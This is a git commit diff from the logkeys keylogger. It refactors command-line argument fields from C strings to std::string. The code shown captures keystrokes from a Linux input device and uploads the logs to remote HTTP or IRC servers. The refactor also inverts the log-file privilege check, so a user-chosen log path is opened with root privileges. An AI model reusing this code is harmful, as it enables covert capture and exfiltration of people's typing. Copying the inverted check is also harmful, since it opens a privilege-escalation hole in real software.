Replaced all char*s in args struct with std::strings -- safer.

git-svn-id: https://logkeys.googlecode.com/svn/trunk@73 c501e62c-e7d1-11de-a198-37193048d1ed
This commit is contained in:
kernc 2010-08-19 16:44:18 +00:00
parent 30f17ebe6a
commit a9bdd902e4
3 changed files with 44 additions and 43 deletions

View File

@ -9,6 +9,8 @@
#ifndef _ARGS_H_ #ifndef _ARGS_H_
#define _ARGS_H_ #define _ARGS_H_
#include <cstring>
namespace logkeys { namespace logkeys {
struct arguments struct arguments
@ -16,13 +18,13 @@ struct arguments
bool start; // start keylogger, -s switch bool start; // start keylogger, -s switch
bool kill; // stop keylogger, -k switch bool kill; // stop keylogger, -k switch
bool us_keymap; // use default US keymap, -u switch bool us_keymap; // use default US keymap, -u switch
char * logfile; // user-specified log filename, -o switch std::string logfile; // user-specified log filename, -o switch
char * keymap; // user-specified keymap file, -m switch or --export-keymap std::string keymap; // user-specified keymap file, -m switch or --export-keymap
char * device; // user-specified input event device, given with -d switch std::string device; // user-specified input event device, given with -d switch
char * http_url; // remote HTTP URL to POST log to, --post-http switch std::string http_url; // remote HTTP URL to POST log to, --post-http switch
char * irc_entity; // if --post-irc effective, this holds the IRC entity to PRIVMSG (either #channel or NickName) std::string irc_entity; // if --post-irc effective, this holds the IRC entity to PRIVMSG (either #channel or NickName)
char * irc_server; // if --post-irc effective, this holds the IRC hostname std::string irc_server; // if --post-irc effective, this holds the IRC hostname
char * irc_port; // if --post-irc effective, this holds the IRC port number std::string irc_port; // if --post-irc effective, this holds the IRC port number
off_t post_size; // post log file to remote when of size post_size, --post-size switch off_t post_size; // post log file to remote when of size post_size, --post-size switch
int flags; // holds the following option flags int flags; // holds the following option flags
#define FLAG_EXPORT_KEYMAP 0x1 // export keymap obtained from dumpkeys, --export-keymap is used #define FLAG_EXPORT_KEYMAP 0x1 // export keymap obtained from dumpkeys, --export-keymap is used
@ -31,7 +33,7 @@ struct arguments
#define FLAG_POST_HTTP 0x8 // post log to remote HTTP server, --post-http switch #define FLAG_POST_HTTP 0x8 // post log to remote HTTP server, --post-http switch
#define FLAG_POST_IRC 0x10 // post log to remote IRC server, --post-irc switch #define FLAG_POST_IRC 0x10 // post log to remote IRC server, --post-irc switch
#define FLAG_POST_SIZE 0x20 // post log to remote HTTP or IRC server when log of size optarg, --post-size #define FLAG_POST_SIZE 0x20 // post log to remote HTTP or IRC server when log of size optarg, --post-size
} args = {0}; // default all args to 0x0 } args = {0}; // default all args to 0x0 or ""
void process_command_line_arguments(int argc, char **argv) void process_command_line_arguments(int argc, char **argv)

View File

@ -239,9 +239,9 @@ void parse_input_keymap()
memset(shift_keys, '\0', sizeof(shift_keys)); memset(shift_keys, '\0', sizeof(shift_keys));
memset(altgr_keys, '\0', sizeof(altgr_keys)); memset(altgr_keys, '\0', sizeof(altgr_keys));
stdin = freopen(args.keymap, "r", stdin); stdin = freopen(args.keymap.c_str(), "r", stdin);
if (stdin == NULL) if (stdin == NULL)
error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap); error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap.c_str());
unsigned int i = -1; unsigned int i = -1;
unsigned int line_number = 0; unsigned int line_number = 0;
@ -256,28 +256,28 @@ void parse_input_keymap()
++line_number; ++line_number;
if(fgetws(line, sizeof(line), stdin) == NULL) { if(fgetws(line, sizeof(line), stdin) == NULL) {
if (feof(stdin)) break; if (feof(stdin)) break;
else error_at_line(EXIT_FAILURE, errno, args.keymap, line_number, "fgets() error"); else error_at_line(EXIT_FAILURE, errno, args.keymap.c_str(), line_number, "fgets() error");
} }
// line at most 8 characters wide (func lines are "1234567\n", char lines are "1 2 3\n") // line at most 8 characters wide (func lines are "1234567\n", char lines are "1 2 3\n")
if (wcslen(line) > 8) // TODO: replace 8*2 with 8 and wcslen()! if (wcslen(line) > 8) // TODO: replace 8*2 with 8 and wcslen()!
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Line too long!"); error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Line too long!");
// terminate line before any \r or \n // terminate line before any \r or \n
std::wstring::size_type last = std::wstring(line).find_last_not_of(L"\r\n"); std::wstring::size_type last = std::wstring(line).find_last_not_of(L"\r\n");
if (last == std::wstring::npos) if (last == std::wstring::npos)
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "No characters on line"); error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "No characters on line");
line[last + 1] = '\0'; line[last + 1] = '\0';
} }
if (is_char_key(i)) { if (is_char_key(i)) {
unsigned int index = to_char_keys_index(i); unsigned int index = to_char_keys_index(i);
if (swscanf(line, L"%lc %lc %lc", &char_keys[index], &shift_keys[index], &altgr_keys[index]) < 1) { if (swscanf(line, L"%lc %lc %lc", &char_keys[index], &shift_keys[index], &altgr_keys[index]) < 1) {
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Too few input characters on line"); error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Too few input characters on line");
} }
} }
if (is_func_key(i)) { if (is_func_key(i)) {
if (i == KEY_SPACE) continue; // space causes empty string and trouble if (i == KEY_SPACE) continue; // space causes empty string and trouble
if (swscanf(line, L"%7ls", &func_string[0]) != 1) if (swscanf(line, L"%7ls", &func_string[0]) != 1)
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Invalid function key string"); // does this ever happen? error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Invalid function key string"); // does this ever happen?
wcscpy(func_keys[to_func_keys_index(i)], func_string); wcscpy(func_keys[to_func_keys_index(i)], func_string);
} }
} // while (!feof(stdin)) } // while (!feof(stdin))
@ -285,14 +285,14 @@ void parse_input_keymap()
if (line_number < N_KEYS_DEFINED) if (line_number < N_KEYS_DEFINED)
#define QUOTE(x) #x // quotes x so it can be used as (char*) #define QUOTE(x) #x // quotes x so it can be used as (char*)
error(EXIT_FAILURE, 0, "Too few lines in input keymap '%s'; There should be " QUOTE(N_KEYS_DEFINED) " lines!", args.keymap); error(EXIT_FAILURE, 0, "Too few lines in input keymap '%s'; There should be " QUOTE(N_KEYS_DEFINED) " lines!", args.keymap.c_str());
} }
void export_keymap_to_file() void export_keymap_to_file()
{ {
int keymap_fd = open(args.keymap, O_CREAT | O_EXCL | O_WRONLY, 0644); int keymap_fd = open(args.keymap.c_str(), O_CREAT | O_EXCL | O_WRONLY, 0644);
if (keymap_fd == -1) if (keymap_fd == -1)
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.keymap); error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.keymap.c_str());
char buffer[32]; char buffer[32];
int buflen = 0; int buflen = 0;
unsigned int index; unsigned int index;
@ -319,10 +319,10 @@ void export_keymap_to_file()
if (is_used_key(i)) if (is_used_key(i))
if (write(keymap_fd, buffer, buflen) < buflen) if (write(keymap_fd, buffer, buflen) < buflen)
error(EXIT_FAILURE, errno, "Error writing to keymap file '%s'", args.keymap); error(EXIT_FAILURE, errno, "Error writing to keymap file '%s'", args.keymap.c_str());
} }
close(keymap_fd); close(keymap_fd);
error(EXIT_SUCCESS, 0, "Success writing keymap to file '%s'", args.keymap); error(EXIT_SUCCESS, 0, "Success writing keymap to file '%s'", args.keymap.c_str());
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} }
@ -348,7 +348,7 @@ void determine_input_device()
input_dev_index << "event"; input_dev_index << "event";
input_dev_index << index; // the correct input event # is (output - 1) input_dev_index << index; // the correct input event # is (output - 1)
args.device = const_cast<char*>(input_dev_index.str().c_str()); // const_cast safe because original isn't modified args.device = input_dev_index.str();
// now we reclaim those root privileges // now we reclaim those root privileges
seteuid(0); setegid(0); seteuid(0); setegid(0);
@ -372,12 +372,12 @@ int main(int argc, char **argv)
if (!args.start && !(args.flags & FLAG_EXPORT_KEYMAP)) { usage(); exit(EXIT_FAILURE); } if (!args.start && !(args.flags & FLAG_EXPORT_KEYMAP)) { usage(); exit(EXIT_FAILURE); }
// if posting remote and post_size not set, set post_size to default [500K bytes] // if posting remote and post_size not set, set post_size to default [500K bytes]
if (args.post_size == 0 && (args.http_url || args.irc_server)) { if (args.post_size == 0 && (!args.http_url.empty() || !args.irc_server.empty())) {
args.post_size = 500000; args.post_size = 500000;
} }
// check for incompatible flags // check for incompatible flags
if (args.keymap && (!(args.flags & FLAG_EXPORT_KEYMAP) && args.us_keymap)) { // exporting uses args.keymap also if (!args.keymap.empty() && (!(args.flags & FLAG_EXPORT_KEYMAP) && args.us_keymap)) { // exporting uses args.keymap also
error(EXIT_FAILURE, 0, "Incompatible flags '-m' and '-u'. See usage."); error(EXIT_FAILURE, 0, "Incompatible flags '-m' and '-u'. See usage.");
} }
@ -390,18 +390,17 @@ int main(int argc, char **argv)
export_keymap_to_file(); export_keymap_to_file();
// = exit(0) // = exit(0)
} }
else if (args.keymap) // custom keymap in use else if (!args.keymap.empty()) // custom keymap in use
parse_input_keymap(); parse_input_keymap();
else else
determine_system_keymap(); determine_system_keymap();
if (args.device == NULL) { // no device given with -d switch if (args.device.empty()) { // no device given with -d switch
determine_input_device(); determine_input_device();
} }
else { // event device supplied as -d argument else { // event device supplied as -d argument
std::string d(args.device); std::string::size_type i = args.device.find_last_of('/');
std::string::size_type i = d.find_last_of('/'); args.device = (std::string(INPUT_EVENT_PATH) + args.device.substr(i == std::string::npos ? 0 : i + 1));
args.device = const_cast<char*>((std::string(INPUT_EVENT_PATH) + d.substr(i == std::string::npos ? 0 : i + 1)).c_str());
} }
set_signal_handling(); set_signal_handling();
@ -415,22 +414,22 @@ int main(int argc, char **argv)
close(STDIN_FILENO); close(STDOUT_FILENO); // leave stderr open close(STDIN_FILENO); close(STDOUT_FILENO); // leave stderr open
// open input device for reading // open input device for reading
input_fd = open(args.device, O_RDONLY); input_fd = open(args.device.c_str(), O_RDONLY);
if (input_fd == -1) { if (input_fd == -1) {
error(EXIT_FAILURE, errno, "Error opening input event device '%s'", args.device); error(EXIT_FAILURE, errno, "Error opening input event device '%s'", args.device.c_str());
} }
// if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't! // if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't!
if (strcmp(args.logfile, DEFAULT_LOG_FILE) != 0) { if (args.logfile == DEFAULT_LOG_FILE) {
seteuid(getuid()); seteuid(getuid());
setegid(getgid()); setegid(getgid());
} }
// open log file as stdout (if file doesn't exist, create it with safe 0600 permissions) // open log file as stdout (if file doesn't exist, create it with safe 0600 permissions)
umask(0177); umask(0177);
stdout = freopen(args.logfile, "a", stdout); stdout = freopen(args.logfile.c_str(), "a", stdout);
if (stdout == NULL) if (stdout == NULL)
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile); error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile.c_str());
// now we need those privileges back in order to create system-wide PID_FILE // now we need those privileges back in order to create system-wide PID_FILE
seteuid(0); setegid(0); seteuid(0); setegid(0);
@ -449,7 +448,7 @@ int main(int argc, char **argv)
int count_repeats = 0; // count_repeats differs from the actual number of repeated characters!! only the OS knows how these two values are related (by respecting configured repeat speed and delay) int count_repeats = 0; // count_repeats differs from the actual number of repeated characters!! only the OS knows how these two values are related (by respecting configured repeat speed and delay)
struct stat st; struct stat st;
stat(args.logfile, &st); stat(args.logfile.c_str(), &st);
off_t file_size = st.st_size; // log file is currently file_size bytes "big" off_t file_size = st.st_size; // log file is currently file_size bytes "big"
int inc_size; // is added to file_size in each iteration of keypress reading, adding number of bytes written to log file in that iteration int inc_size; // is added to file_size in each iteration of keypress reading, adding number of bytes written to log file in that iteration
@ -495,12 +494,12 @@ int main(int argc, char **argv)
if (stat(ss.str().c_str(), &st) == -1) break; // file .log.i doesn't yet exist if (stat(ss.str().c_str(), &st) == -1) break; // file .log.i doesn't yet exist
} }
if (rename(args.logfile, ss.str().c_str()) == -1) // move current log file to indexed if (rename(args.logfile.c_str(), ss.str().c_str()) == -1) // move current log file to indexed
error(EXIT_FAILURE, errno, "Error renaming logfile"); error(EXIT_FAILURE, errno, "Error renaming logfile");
stdout = fopen(args.logfile, "a"); // open empty log file with the same name stdout = fopen(args.logfile.c_str(), "a"); // open empty log file with the same name
if (stdout == NULL) if (stdout == NULL)
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile); error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile.c_str());
file_size = 0; // new log file is now empty file_size = 0; // new log file is now empty
// TODO: write new timestamp // TODO: write new timestamp

View File

@ -105,7 +105,7 @@ void start_remote_upload()
--last_index; // logfile.last_index is the last one --last_index; // logfile.last_index is the last one
// POST to remote HTTP server // POST to remote HTTP server
if (args.http_url) { if (!args.http_url.empty()) {
std::string url = std::string(args.http_url); std::string url = std::string(args.http_url);
std::string port = "80"; std::string port = "80";
@ -162,16 +162,16 @@ void start_remote_upload()
if (strncmp(read_socket(sockfd), "HTTP/1.1 200", 12) == 0) if (strncmp(read_socket(sockfd), "HTTP/1.1 200", 12) == 0)
++successful[i - 1]; ++successful[i - 1];
if (successful[i - 1] && !args.irc_server) remove(filename.str().c_str()); if (successful[i - 1] && args.irc_server.empty()) remove(filename.str().c_str());
close(sockfd); close(sockfd);
} }
} }
// post to remote IRC server // post to remote IRC server
if (args.irc_server && !isKilled) { if (!args.irc_server.empty() && !isKilled) {
sockfd = open_connection(args.irc_server, args.irc_port); sockfd = open_connection(args.irc_server.c_str(), args.irc_port.c_str());
if (sockfd == -1) { if (sockfd == -1) {
remove(UPLOADER_PID_FILE); remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Failed to connect to remote server(s)"); error(EXIT_FAILURE, errno, "Failed to connect to remote server(s)");
@ -236,8 +236,8 @@ void start_remote_upload()
} }
char successful_treshold = 0; // determine how many post methods were supposed to be used char successful_treshold = 0; // determine how many post methods were supposed to be used
if (args.http_url) ++successful_treshold; if (!args.http_url.empty()) ++successful_treshold;
if (args.irc_server) ++successful_treshold; if (!args.irc_server.empty()) ++successful_treshold;
// remove all successfully uploaded files... // remove all successfully uploaded files...
for (int i = 1, j = 1; i <= last_index; ++i) { for (int i = 1, j = 1; i <= last_index; ++i) {